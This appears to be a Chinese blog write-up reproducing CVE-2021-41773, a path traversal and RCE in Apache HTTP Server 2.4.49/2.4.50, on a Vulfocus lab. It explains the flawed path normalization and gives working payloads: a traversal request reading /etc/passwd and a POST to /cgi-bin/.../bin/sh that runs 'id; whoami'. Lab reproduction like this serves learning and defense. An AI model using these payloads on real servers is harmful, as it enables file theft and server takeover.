当前位置: 首页 > news >正文

【漏洞复现-Apache-目录穿越文件读取-RCE】vulfocus/apache(cve_2021_41773)

目录

一、靶场环境

1.1、平台:

1.2、漏洞版本:

1.3、描述:

1.4、条件:

1.5、成因:

2.4.49版本

2.4.50版本

二、漏洞验证

2.1、分析:

2.2、任意文件读取:

2.3、RCE:

2.4、解题:

2.5、利用工具:


一、靶场环境

1.1、平台:

Vulfocus 漏洞威胁分析平台

123.58.224.8:43713

 

1.2、漏洞版本:

Apache HTTP Server 2.4.49、2.4.50

1.3、描述:

版本对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可利用该漏洞读取到Web目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。

1.4、条件:

配置目录遍历,开启cgi mode
版本为2.4.49/2.4.50
存在cgi-bin和icons文件夹

//CGI-BIN是一种特殊的目录,在进行交互式的WWW访问(如填写在线表格),需要服务器上有相应的程序对访问者输入的信息进行处理,即CGI程序

1.5、成因:

2.4.49版本

使用的ap_normalize_path函数在对路径参数进行规范化时会先进行url解码,判断是否存在../的路径穿越符

当检测到路径中存在%字符时,如果紧跟的2个字符是十六进制字符,就会进行url解码,将其转换成标准字符

如%2e->.转换完成后,会继续判断是否存在../

如果路径中存在%2e./形式,就会检测到,但是出现.%2e/这种形式时,就不会检测到,原因是在遍历到第一个.字符时,此时检测到后面的两个字符是%2而不是./,就不会把它当作路径穿越符处理,因此可以使用.%2e/或者%2e%2e绕过对路径穿越符的检测


2.4.50版本

修复不完整,50版本也存在该漏洞

GET payload:

/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

POST payload:

/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh

加上需要执行的命令



二、漏洞验证

2.1、分析:

抓包

2.2、任意文件读取:

payload

GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1

2.3、RCE:

payload:

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1




echo Content-Type: text/plain; echo; id;whoami

2.4、解题:

2.5、利用工具:

相关文章:

  • 基于matlab的SVM支持向量机分类仿真,核函数采用RBF函数(提供matlab仿真录像)
  • 机器学习基础:拉格朗日乘子法
  • Matlab 与 Python 基于窗函数的滤波器设计对比 之 凯瑟窗
  • java web开发(从spring boot到spring cloud)
  • 看呆了!二面高德 Java 岗,问了一堆源码,微服务,分布式,Redis,心累
  • 2022华为杯研究生数学建模竞赛B题思路解析
  • 2022华为杯研究生数学建模竞赛E题思路解析
  • 【C语言】学生考勤管理系统
  • 常用的调试技巧(如何检测bug)
  • SpringBoot二十六课大纲和目录
  • 2022年中国研究生数学建模竞赛C题-汽车制造涂装-总装缓存调序区调度优化问题
  • 2022研究生数模A题——移动场景超分辨定位问题
  • vue2脚手架之全局事件总线
  • spring boot学生社团管理系统的设计与实现毕业设计源码151109
  • STM32CUBEMX开发GD32F303(15)----外部中断EXTI
  • (三)从jvm层面了解线程的启动和停止
  • Apache Spark Streaming 使用实例
  • C++11: atomic 头文件
  • FastReport在线报表设计器工作原理
  • markdown编辑器简评
  • Python_网络编程
  • Shadow DOM 内部构造及如何构建独立组件
  • Yeoman_Bower_Grunt
  • 读懂package.json -- 依赖管理
  • 开发了一款写作软件(OSX,Windows),附带Electron开发指南
  • 跨域
  • 前端面试之CSS3新特性
  • 如何将自己的网站分享到QQ空间,微信,微博等等
  • 使用putty远程连接linux
  • 小程序 setData 学问多
  • 用 vue 组件自定义 v-model, 实现一个 Tab 组件。
  • shell使用lftp连接ftp和sftp,并可以指定私钥
  • ​水经微图Web1.5.0版即将上线
  • $.ajax()方法详解
  • (2/2) 为了理解 UWP 的启动流程,我从零开始创建了一个 UWP 程序
  • (C++17) optional的使用
  • (附源码)springboot课程在线考试系统 毕业设计 655127
  • (机器学习的矩阵)(向量、矩阵与多元线性回归)
  • (学习日记)2024.04.04:UCOSIII第三十二节:计数信号量实验
  • (一)硬件制作--从零开始自制linux掌上电脑(F1C200S) <嵌入式项目>
  • (译) 理解 Elixir 中的宏 Macro, 第四部分:深入化
  • (正则)提取页面里的img标签
  • (转)h264中avc和flv数据的解析
  • ... fatal error LINK1120:1个无法解析的外部命令 的解决办法
  • .NET 3.0 Framework已经被添加到WindowUpdate
  • .NET Core WebAPI中使用Log4net 日志级别分类并记录到数据库
  • .net最好用的JSON类Newtonsoft.Json获取多级数据SelectToken
  • ??eclipse的安装配置问题!??
  • @TableLogic注解说明,以及对增删改查的影响
  • [<事务专题>]
  • [Angular] 笔记 20:NgContent
  • [Ariticle] 厚黑之道 一 小狐狸听故事
  • [AS3]URLLoader+URLRequest+JPGEncoder实现BitmapData图片数据保存
  • [AX]AX2012开发新特性-禁止表或者表字段
  • [HCTF 2018]WarmUp (代码审计)